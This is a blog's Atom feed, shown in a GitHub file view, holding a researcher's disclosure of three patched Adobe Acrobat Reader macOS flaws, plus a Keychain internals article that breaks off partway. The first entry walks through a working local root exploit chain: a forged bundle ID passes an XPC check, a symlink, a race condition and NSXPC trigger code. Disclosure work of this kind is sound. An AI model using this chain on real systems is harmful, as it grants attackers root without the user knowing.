-
Notifications
You must be signed in to change notification settings - Fork 0
/
atom.xml
197 lines (127 loc) · 376 KB
/
atom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>Yuebin Sun's Blog</title>
<subtitle>The Road to 0x41414141</subtitle>
<link href="https://rekken.github.io/atom.xml" rel="self"/>
<link href="https://rekken.github.io/"/>
<updated>2020-12-25T06:27:35.000Z</updated>
<id>https://rekken.github.io/</id>
<author>
<name>Yuebin Sun</name>
</author>
<generator uri="https://hexo.io/">Hexo</generator>
<entry>
<title>Security Flaws in Adobe Acrobat Reader Allow Malicious Program to Gain Root on macOS Silently</title>
<link href="https://rekken.github.io/2020/05/14/Security-Flaws-in-Adobe-Acrobat-Reader-Allow-Malicious-Program-to-Gain-Root-on-macOS-Silently/"/>
<id>https://rekken.github.io/2020/05/14/Security-Flaws-in-Adobe-Acrobat-Reader-Allow-Malicious-Program-to-Gain-Root-on-macOS-Silently/</id>
<published>2020-05-14T09:32:39.000Z</published>
<updated>2020-12-25T06:27:35.000Z</updated>
<content type="html"><![CDATA[<p>Yuebin Sun(<a href="https://twitter.com/yuebinsun2020">@yuebinsun2020</a>) of Tencent Security Xuanwu Lab</p><h2 id="0x0-Summary"><a href="#0x0-Summary" class="headerlink" title="0x0 Summary"></a>0x0 Summary</h2><p>Today, Adobe Acrobat Reader DC for macOS patched three critical vulnerabilities(CVE-2020-9615, CVE-2020-9614, CVE-2020-9613) I reported. The only requirement needed to trigger the vulnerabilities is that Adobe Acrobat Reader DC has been installed. A normal user on macOS(with SIP enabled) can locally exploit this vulnerabilities chain to elevate privilege to the ROOT without a user being aware. In this blog, I will analyze the details of vulnerabilities and show how to exploit them.</p><h2 id="0x1-Background"><a href="#0x1-Background" class="headerlink" title="0x1 Background"></a>0x1 Background</h2><p>The root process has superpowers, it almost can do anything, reading/writing all sensitive files/databases such as Images/Calendars. However in modern macOS, root processes outside of sandbox are rare, most macOS built-in services run within a sandbox. They are no longer the king, they imprison themselves in a cage based on declarative sandbox profile rules. </p><p>Good news, popular software with high privileged services are new good target in addition to macOS built-in services, so Adobe Acrobat Reader DC catch my attention.</p><span id="more"></span><h2 id="0x2-Analysis"><a href="#0x2-Analysis" class="headerlink" title="0x2 Analysis"></a>0x2 Analysis</h2><p>com.adobe.ARMDC.SMJobBlessHelper within /Library/PrivilegedHelperTools/ is one of the components of Adobe Acrobat Reader DC, responsible for software updating. It runs as root and no-sandbox are applied, and hosts an XPC service named SMJobBlessHelper(com.adobe.ARMDC.SMJobBlessHelper). Most XPC services will check its connection client before doing any actual work, so does SMJobBlessHelper.</p><h3 id="Vulnerability-1-Bad-Checking-of-NSXPC-Connection-Client"><a href="#Vulnerability-1-Bad-Checking-of-NSXPC-Connection-Client" class="headerlink" title="Vulnerability 1: Bad Checking of NSXPC Connection Client"></a>Vulnerability 1: Bad Checking of NSXPC Connection Client</h3><p>SMJobBlessHelper is based on NSXPC, its client checking exists in [SMJobBlessHelper listener:shouldAcceptNewConnection:]. The checking logic is as pseudo-code shows below, gets the client’s PID, and then obtains Bundle ID based on the client’s process path, the client will be trusted if its Bundle ID is “com.adobe.ARMDC”.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">pid = [NSXPCConnection processIdentifier];</span><br><span class="line">proc_pidpath(v7, proc_path, 0x1000u);</span><br><span class="line">bundle = [NSBundle bundleWithPath:proc_path];</span><br><span class="line">bd_id = [bundle bundleIdentifier];</span><br><span class="line"></span><br><span class="line">if (bd_id == "com.adobe.ARMDC"){</span><br><span class="line"> // Accept client's XPC connection request</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>But what is NSBundle, can we trust it?</p><p>Apple says it is “A representation of the code and resources stored in a bundle directory on disk.”, so it’s just a directory structure with some well-defined subdirectories/files. The bundle ID is obtained from Contents/Info.plist of the directory structure. </p><p>The directory structure is certainly not credible, we can forge any Bundle ID by creating our special bundle directory.</p><h3 id="Vulnerability-2-Temp-Directory-Root-Protection-Can-Be-Bypassed"><a href="#Vulnerability-2-Temp-Directory-Root-Protection-Can-Be-Bypassed" class="headerlink" title="Vulnerability 2: Temp Directory Root Protection Can Be Bypassed"></a>Vulnerability 2: Temp Directory Root Protection Can Be Bypassed</h3><p>As the pseudo below show, in the updating process before SMJobBlessHelper launch ARMDCHammer, download folder(in bundle’s parent directory) will be moved to /var/folders/zz/xxxxx/T/. Unfortunately after directory moving, the owner of “/var/folders/zz/xxxxx_n0000000000000/T/download” is the root, and normal user DO NOT have access to it. So it means that we can not change it and its subfiles any more.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">move("./download", "/var/folders/zz/xxxxx/T/download");</span><br><span class="line"></span><br><span class="line">if (validateBinary("/var/folders/zz/xxxxx/T/download/ARMDCHammer")){</span><br><span class="line">launch("/var/folders/zz/xxxxx/T/download/ARMDCHammer");</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>But, the designer may forget the symlink. </p><p>If ./download/ARMDCHammer is a symlink, after being moved to /var/folders/zz/xxxxx/T/download, does the symlink still be valid?</p><p>Yes, the symlink is still valid, it can help us to bypass temp directory protection. I can force /var/folders/zz/xxxxx/T/download/ARMDCHammer to link to anywhere.</p><h3 id="Vulnerability-3-validateBinary-and-launchARMHammer-Has-a-Race-Condition-window"><a href="#Vulnerability-3-validateBinary-and-launchARMHammer-Has-a-Race-Condition-window" class="headerlink" title="Vulnerability 3: validateBinary and launchARMHammer Has a Race Condition window"></a>Vulnerability 3: validateBinary and launchARMHammer Has a Race Condition window</h3><p>With the help of vulnerability 2, we can force validateBinary() to check /tmp/test/hello_root.</p><p>The logic exists in [SMJobBlessHelper doWork].</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">if (validateBinary("/tmp/test/hello_root")){</span><br><span class="line"> launchARMHammer("/tmp/test/hello_root");</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>validateBinary and launchARMHammer all use program path, and we have writing permission to this path.</p><p>So if we can replace the “/tmp/test/hello_root” with our malicious file after validateBinary, launchARMHammer will launch our malicious process.</p><p>You may think the race condition window is too narrow to control, I will show the tricks later.</p><h2 id="0x3-Exploitation"><a href="#0x3-Exploitation" class="headerlink" title="0x3 Exploitation"></a>0x3 Exploitation</h2><h3 id="Bypass-Checking-of-NSXPC-Connection-Client"><a href="#Bypass-Checking-of-NSXPC-Connection-Client" class="headerlink" title="Bypass Checking of NSXPC Connection Client"></a>Bypass Checking of NSXPC Connection Client</h3><p>As explained before, NSBundle is not trusted, so we try to forge an NSBundle, with its bundle id is “com.adobe.ARMDC”. For saving time, we copy Adobe’s original bundle from “/Library/Application Support/Adobe/ARMDC/Application/Adobe Acrobat Updater.app”.</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">"copy Adobe Acrobat Updater.app"</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">cp</span> -r <span class="string">"/Library/Application Support/Adobe/ARMDC/Application/Adobe Acrobat Updater.app"</span> /tmp/test/exploit</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>Then compile our NSXPC Exploit client, copy it to Adobe Acrobat Updater.app/Contents/MacOS/</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> /tmp/test/exploit</span><br><span class="line"><span class="built_in">echo</span> <span class="string">"compiling SMJobBlessHelper-Exploit"</span></span><br><span class="line">clang -framework Foundation SMJobBlessHelper-Exploit.m -o SMJobBlessHelper-Exploit</span><br><span class="line"></span><br><span class="line"><span class="built_in">echo</span> <span class="string">"move SMJobBlessHelper-Exploit to Adobe Acrobat Updater.app"</span></span><br><span class="line"><span class="built_in">mkdir</span> <span class="string">"Adobe Acrobat Updater.app/Contents/MacOS"</span></span><br><span class="line"><span class="built_in">mv</span> SMJobBlessHelper-Exploit <span class="string">"Adobe Acrobat Updater.app/Contents/MacOS/"</span></span><br></pre></td></tr></table></figure><p>Now, SMJobBlessHelper-Exploit, being launched as an NSXPC client, will pass through [SMJobBlessHelper listener:shouldAcceptNewConnection:]’s check.</p><h3 id="Bypass-Temp-Directory-Root-Protection"><a href="#Bypass-Temp-Directory-Root-Protection" class="headerlink" title="Bypass Temp Directory Root Protection"></a>Bypass Temp Directory Root Protection</h3><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">DoWorkAndLauchHammer</span>(){</span><br><span class="line"> <span class="built_in">move</span>(<span class="string">"./download"</span>, <span class="string">"/var/folders/zz/xxxxx/T/download"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">validateBinary</span>(<span class="string">"/var/folders/zz/xxxxx/T/download/ARMDCHammer"</span>)){</span><br><span class="line"> <span class="built_in">launch</span>(<span class="string">"/var/folders/zz/xxxxx/T/download/ARMDCHammer"</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>Symlink can help us, before SMJobBlessHelper moves our download directory, we create a symlink at our download directory.</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">$ <span class="built_in">cd</span> /tmp/test</span><br><span class="line">$ <span class="built_in">mkdir</span> download</span><br><span class="line">$ <span class="built_in">ln</span> -s /tmp/test/hello_root ./download/ARMDCHammer</span><br><span class="line">$ <span class="built_in">ls</span> -l download/</span><br><span class="line">total 0</span><br><span class="line">lrwxr-xr-x 1 rekken staff 72 4 12 16:04 ARMDCHammer -> /tmp/test/hello_root</span><br></pre></td></tr></table></figure><p>Then we trigger SMJobBlessHelper’s XPC interface, /tmp/test/exploit/download is moved to /var/folders/zz/xxxxx/T/download.</p><p>Now, we can see symlink in /tmp/test/exploit/download/ is still pointing to /tmp/test/hello_root.</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$ sudo <span class="built_in">ls</span> -l /var/folders/zz/xxxxx/T/download</span><br><span class="line">total 0</span><br><span class="line">lrwxr-xr-x 1 rekken staff 72 4 12 16:04 ARMDCHammer -> /tmp/test/hello_root</span><br></pre></td></tr></table></figure><p>So, with the help of symlink we change checking logic:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">DoWorkAndLauchHammer</span>(){</span><br><span class="line"> <span class="built_in">move</span>(<span class="string">"./download"</span>, <span class="string">"/var/folders/zz/xxxxx/T/download"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">validateBinary</span>(<span class="string">"/tmp/test/hello_root"</span>)){</span><br><span class="line"> <span class="built_in">launch</span>(<span class="string">"/tmp/test/hello_root"</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="Find-a-Valid-ARMDCHammer-to-Meet-validateBinary’s-Requirement"><a href="#Find-a-Valid-ARMDCHammer-to-Meet-validateBinary’s-Requirement" class="headerlink" title="Find a Valid ARMDCHammer to Meet validateBinary’s Requirement"></a>Find a Valid ARMDCHammer to Meet validateBinary’s Requirement</h3><p>validateBinary use built-in codesign command to check if /var/folders/zz/xxxxx/T/download/ARMDCHammer is valid or not.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">validateBinary("/var/folders/zz/xxxxx/T/download/ARMDCHammer");</span><br></pre></td></tr></table></figure><p>The parameters passed to codesign are as below:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">(lldb) po <span class="variable">$rcx</span></span><br><span class="line">(</span><br><span class="line"> <span class="string">"--verify"</span>,</span><br><span class="line"> <span class="string">"-R=identifier ARMDCHammer and anchor trusted and anchor apple generic and certificate leaf[subject.CN] = \"Developer ID Application: Adobe Systems, Inc. (JQ525L2MZD)\""</span>,</span><br><span class="line"> <span class="string">"/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T/download/ARMDCHammer"</span></span><br><span class="line">)</span><br></pre></td></tr></table></figure><p>Where can we find the valid ARMDCHammer?</p><p>I write a script, which searches the full local disk for ARMDCHammer, and finally gain nothing. But it must exist, isn’t it?</p><p>Since it is not on the local drive, it should have been downloaded on demand. I reverse a lot of binary files and found the cute download URL in Acrobat Update Helper.app. Downloading and extracting the archive, in the end, I catch the ARMDCHammer I’m looking for.</p><p><img src="/find_ARMDCHammer.png" alt="find_ARMDCHammer_url"></p><p><img src="/ARMDCHammer_zip_contents.png" alt="ARMDCHammer_zip"></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">$ codesign --verbose --verify -R=<span class="string">"identifier ARMDCHammer and anchor trusted and anchor apple generic and certificate leaf[subject.CN] = \"Developer ID Application: Adobe Systems, Inc. (JQ525L2MZD)\""</span> ~/Downloads/ARMDCContents2/ASSET/Contents/MacOS/ARMDCHammer</span><br><span class="line"></span><br><span class="line">/Users/rekken/Downloads/ARMDCContents2/ASSET/Contents/MacOS/ARMDCHammer: valid on disk</span><br><span class="line">/Users/rekken/Downloads/ARMDCContents2/ASSET/Contents/MacOS/ARMDCHammer: satisfies its Designated Requirement</span><br><span class="line">/Users/rekken/Downloads/ARMDCContents2/ASSET/Contents/MacOS/ARMDCHammer: explicit requirement satisfied</span><br></pre></td></tr></table></figure><h3 id="Race-Condition-Between-validateBinary-and-launchARMHammer"><a href="#Race-Condition-Between-validateBinary-and-launchARMHammer" class="headerlink" title="Race Condition Between validateBinary and launchARMHammer"></a>Race Condition Between validateBinary and launchARMHammer</h3><p>The time window between validateBinary and launchARMHammer is narrow. OPLock can help us to freeze time in Windows, unfortunately, there are no alternatives like that in macOS.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">DoWorkAndLauchHammer(){</span><br><span class="line"> move("./download", "/var/folders/zz/xxxxx/T/download");</span><br><span class="line"></span><br><span class="line"> if (validateBinary("/tmp/test/hello_root")){</span><br><span class="line"> launch("/tmp/test/hello_root");</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>We split our works into three parts, each part uses a separate thread.</p><p>Thread 1: Circularly replace files frequently</p><p>Symlink in /var/folders/zz/xxxxx/T/download point to /tmp/test/hello_root, so we replace it circularly.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Step 1: move /tmp/test/ARMDCHammer to /tmp/test/hello_root,</span><br><span class="line">Step 2: sleep</span><br><span class="line">Step 3: move /tmp/test/hello_root to /tmp/test/ARMDCHammer</span><br><span class="line">Step 4: sleep and goto Step 1</span><br></pre></td></tr></table></figure><p>Thread 2: Prepare download directory and symlink frequently</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">Step 1: create /tmp/test/orig_download directory, create symlink /tmp/test/orig_download/ARMDCHammer pointing to /tmp/test/hello_root</span><br><span class="line"></span><br><span class="line">Step 2: copy /tmp/test/orig_download to /tmp/test/download</span><br><span class="line"></span><br><span class="line">Step 3: sleep</span><br><span class="line"></span><br><span class="line">Step 4: goto Step 2 when /tmp/test/download disapears</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>Thread 3: Trigger NSXPC DoWorkAndLauchHammer interface</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">while(1){</span><br><span class="line"> NSXPCConnection * connectionToService = [[NSXPCConnection alloc] initWithMachServiceName:@"com.adobe.ARMDC.SMJobBlessHelper" options: 0];</span><br><span class="line"> connectionToService.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SMJobBlessHelperProtocol)];</span><br><span class="line"> [connectionToService resume];</span><br><span class="line"></span><br><span class="line"> id remote = [connectionToService remoteObjectProxyWithErrorHandler:^(NSError *proxyError) {</span><br><span class="line"> NSLog(@"error: %@", proxyError);</span><br><span class="line"> }];</span><br><span class="line"> [remote DoWorkAndLauchHammer: ^(_Bool retcode) {</span><br><span class="line"> //</span><br><span class="line"> }];</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>The reason we need Thread 1 is obvious, why we need separate Thread 2 and Thread 3?</p><p>High-frequency NSXPC interface call requests which make the server busy can increase the probability of success. With multi-threads running, the race condition needs a very short time. In my test, most test cases need only 1~3 seconds, and the best case only takes a blink of time.</p><h2 id="0x4-Demo"><a href="#0x4-Demo" class="headerlink" title="0x4 Demo"></a>0x4 Demo</h2><p>(Safari may not play the gif automatically, recommend to use Chrome or Firefox)</p><p><img src="/exploit-demo-jietu-HD-2.gif" alt="demo"></p><h2 id="0x5-Patch"><a href="#0x5-Patch" class="headerlink" title="0x5 Patch"></a>0x5 Patch</h2><p>The most important part of the vulnerability patch is adding a new function named -[SMJobBlessHelper validatePaths], before validateBinary and launch, it checks the path is a symlink or not. It breaks the only way which must be passed.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">bool -[SMJobBlessHelper validatePaths](path){</span><br><span class="line"> if(fileIsSymbolicLink(path)){</span><br><span class="line"> return false;</span><br><span class="line"> }</span><br><span class="line"> return true</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">DoWorkAndLauchHammer(){</span><br><span class="line"> move("./download", "/var/folders/zz/xxxxx/T/download");</span><br><span class="line"></span><br><span class="line"> if(validatePaths("/var/folders/zz/xxxxx/T/download")){</span><br><span class="line"> if (validateBinary("/var/folders/zz/xxxxx/T/download")){</span><br><span class="line"> launch("/var/folders/zz/xxxxx/T/download");</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="0x6-Conclusion"><a href="#0x6-Conclusion" class="headerlink" title="0x6 Conclusion"></a>0x6 Conclusion</h2><p>In this blog, I analyzed the three logic vulnerabilities in Adobe Acrobat Reader and show how to exploit them to gain root without sandbox limitation. As an almost per-device required software, its security matters to macOS.</p><p>Ping me(<a href="https://twitter.com/yuebinsun2020">@yuebinsun2020</a>) if you have any questions.</p><p>Thanks to R3dF09(<a href="https://twitter.com/R3dF09">@R3dF09</a>) for help in the analysis.</p>]]></content>
<summary type="html"><p>Yuebin Sun(<a href="https://twitter.com/yuebinsun2020">@yuebinsun2020</a>) of Tencent Security Xuanwu Lab</p>
<h2 id="0x0-Summary"><a href="#0x0-Summary" class="headerlink" title="0x0 Summary"></a>0x0 Summary</h2><p>Today, Adobe Acrobat Reader DC for macOS patched three critical vulnerabilities(CVE-2020-9615, CVE-2020-9614, CVE-2020-9613) I reported. The only requirement needed to trigger the vulnerabilities is that Adobe Acrobat Reader DC has been installed. A normal user on macOS(with SIP enabled) can locally exploit this vulnerabilities chain to elevate privilege to the ROOT without a user being aware. In this blog, I will analyze the details of vulnerabilities and show how to exploit them.</p>
<h2 id="0x1-Background"><a href="#0x1-Background" class="headerlink" title="0x1 Background"></a>0x1 Background</h2><p>The root process has superpowers, it almost can do anything, reading&#x2F;writing all sensitive files&#x2F;databases such as Images&#x2F;Calendars. However in modern macOS, root processes outside of sandbox are rare, most macOS built-in services run within a sandbox. They are no longer the king, they imprison themselves in a cage based on declarative sandbox profile rules. </p>
<p>Good news, popular software with high privileged services are new good target in addition to macOS built-in services, so Adobe Acrobat Reader DC catch my attention.</p></summary>
<category term="macOS" scheme="https://rekken.github.io/tags/macOS/"/>
</entry>
<entry>
<title>macOS Security Framework and previous CVEs</title>
<link href="https://rekken.github.io/2020/02/26/macOS-Security-Framework-and-Previous-CVEs-EN/"/>
<id>https://rekken.github.io/2020/02/26/macOS-Security-Framework-and-Previous-CVEs-EN/</id>
<published>2020-02-26T09:20:00.000Z</published>
<updated>2020-12-25T06:27:35.000Z</updated>
<content type="html"><![CDATA[<p>Yuebin Sun(<a href="https://twitter.com/yuebinsun2020">@yuebinsun2020</a>) of Tencent Security Xuanwu Lab</p><h2 id="Summary"><a href="#Summary" class="headerlink" title="Summary"></a>Summary</h2><p>COVID-19 outbreak keep me from going out,I have been researching macOS’s Security framework in the past two weeks of homeworking.</p><p>In this blog, I will try to analyze Security framework, especially Keychain, and previous vulnerabilities of the Secuirty framework。</p><h2 id="Security-Framework"><a href="#Security-Framework" class="headerlink" title="Security Framework"></a>Security Framework</h2><p>Security framework is responsible for providing authentication and authorization, secure data storage and transportation, code signing, encryption/decryption services. Apps can use this services by using API of Security framework directly without knowing or caring about its implementation details.</p><img src="/2020/02/26/macOS-Security-Framework-and-Previous-CVEs-EN/security-framework.png" class="" title="Image"><p>But what are the components which composes the Security framework, and how the components collaborate with each other?</p><span id="more"></span><p>Unfortunately the official document site did not updating the architecture diagram of this framework from macOS 10.7, but I find a outdated diagram in the book <a href="https://osxbook.com/">《Mac OS X Internals》</a>, It can still be used as a reference, Not too much has changed from that time.</p><img src="/2020/02/26/macOS-Security-Framework-and-Previous-CVEs-EN/csda-of-macos.png" class="" title="Image"><h2 id="Keychain"><a href="#Keychain" class="headerlink" title="Keychain"></a>Keychain</h2><p>Keychain play a significant role in the Security framework, passwords of WiFi and passwords of Safari autofilling are all saved and managed by Keychain.</p><p>Keychain was first introduced in Mac OS X 8.6, and was used for storing login credentials of the mail servers for PowerTalk mail system. Today, it improve a lot, many new data types are supported including many kinds of passwords, encryption keys, certificates and private notes. PowerTalk is no longer exists, but Keychain’s clients is replaced by many builtin Apps and thirdparty Apps.</p><img src="/2020/02/26/macOS-Security-Framework-and-Previous-CVEs-EN/keychain.png" class="" title="Image"><p>Keychains in iOS and macOS are slightly different.</p><p>In iOS, there is only a single Keychain, it can be accessed when the device is unlocked, otherwise it will be locked too.</p><p>In macOS, users are allowed to create any number of Keychains for private use, Security framework provide SecKeychain{Create, Delete, Open, …} APIs for macOS users, with this API users can create, delete, open Keychain.</p><p>By default, two Keychains are already exist in macOS:</p><ul><li>~/Library/Keychains/login.keychain-db</li><li>/Library/Keychains/System.keychain</li></ul><p>The login Keychain will be unlocked when user login macOS. System keychain, in contrast, is locked and encrypted, its decryption key is stored in /var/db/SystemKey, only root process can access it.</p><p>Apple offers Keychain Access.app to common users to view/search/create Keychains and Keychain Items, obtaining sensitive data, such as passwords, will trigger a authentication dialog.</p><h3 id="How-Keychain-stores-a-new-password"><a href="#How-Keychain-stores-a-new-password" class="headerlink" title="How Keychain stores a new password"></a>How Keychain stores a new password</h3><p>Example code of Apple Documentation as below shows how to store a new website password to Keychain.</p><figure class="highlight objc"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">static</span> let server = <span class="string">"www.example.com"</span></span><br><span class="line">let account = credentials.username</span><br><span class="line">let password = credentials.password.data(using: String.Encoding.utf8)!</span><br><span class="line">var query: [String: Any] = [kSecClass as String: kSecClassInternetPassword,</span><br><span class="line"> kSecAttrAccount as String: account,</span><br><span class="line"> kSecAttrServer as String: server,</span><br><span class="line"> kSecValueData as String: password]</span><br><span class="line">let status = SecItemAdd(query as <span class="built_in">CFDictionary</span>, <span class="literal">nil</span>)</span><br></pre></td></tr></table></figure><p>The most important is SecItemAdd API, we will analyze this API step by step to see how it implements.</p><p>In the abstract, data stored in query param will deliver to Keychain Service over SecItemAdd API, service will package the data as an Keychain Item, password in query will be encrypted, and the Keychain Item will continue to be written to Keychain database at disk.</p><img src="/2020/02/26/macOS-Security-Framework-and-Previous-CVEs-EN/keychain-item-to-db.png" class="" title="Image"><p>From a components perspective, SecItemAdd API is implemented by Security shared library(/System/Library/Frameworks/Security.framework/Versions/A/Security), Security shared library will be loaded into the current App process. After SecItemAdd of Security shared library are called, the query data will be forwarded to XPC Service(com.apple.securityd.xpc) over SECURITYD_XPC macro, this XPC service are hosted by secd process(/usr/libexec/secd), secd run as current user.</p><img src="/2020/02/26/macOS-Security-Framework-and-Previous-CVEs-EN/secitemadd_to_xpc.png" class="" title="Image"><img src="/2020/02/26/macOS-Security-Framework-and-Previous-CVEs-EN/keychain_api_and_secd.jpg" class="" title="Image"><p>When data is send to secd process, according to operation, securityd_xpc_dictionary_handler(simplified for better reading) dispatch message to different internal functions. In our case, query param is passed on to _SecItemAdd directly, and there is also another important param, client of SecurityClient struct, SecurityClient is responsible for identifying client process, subsequently ACL checking is based on this struct. In addition, accessGroups field of SecurityClient is used for implementing the Shared Web Credentials(share credentials between iOS apps and their website counterparts). Apps and Web use Associated Domains Entitlement to create association, more details can read <a href="https://developer.apple.com/documentation/safariservices/supporting_associated_domains_in_your_app?language=objc">Supporting Associated Domains in Your App</a></p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">static</span> <span class="type">void</span> <span class="title">securityd_xpc_dictionary_handler</span><span class="params">(<span class="type">const</span> <span class="type">xpc_connection_t</span> connection, <span class="type">xpc_object_t</span> event)</span> </span>{</span><br><span class="line"> SecurityClient client = {</span><br><span class="line"> .task = <span class="literal">NULL</span>,</span><br><span class="line"> .accessGroups = <span class="literal">NULL</span>,</span><br><span class="line"> .musr = <span class="literal">NULL</span>,</span><br><span class="line"> .uid = <span class="built_in">xpc_connection_get_euid</span>(connection),</span><br><span class="line"> .allowSystemKeychain = <span class="literal">false</span>,</span><br><span class="line"> .allowSyncBubbleKeychain = <span class="literal">false</span>,</span><br><span class="line"> .isNetworkExtension = <span class="literal">false</span>,</span><br><span class="line"> .canAccessNetworkExtensionAccessGroups = <span class="literal">false</span>,</span><br><span class="line"> };</span><br><span class="line"> <span class="built_in">fill_security_client</span>(&client, <span class="built_in">xpc_connection_get_euid</span>(connection), auditToken));</span><br><span class="line"> <span class="keyword">switch</span> (operation)</span><br><span class="line"> 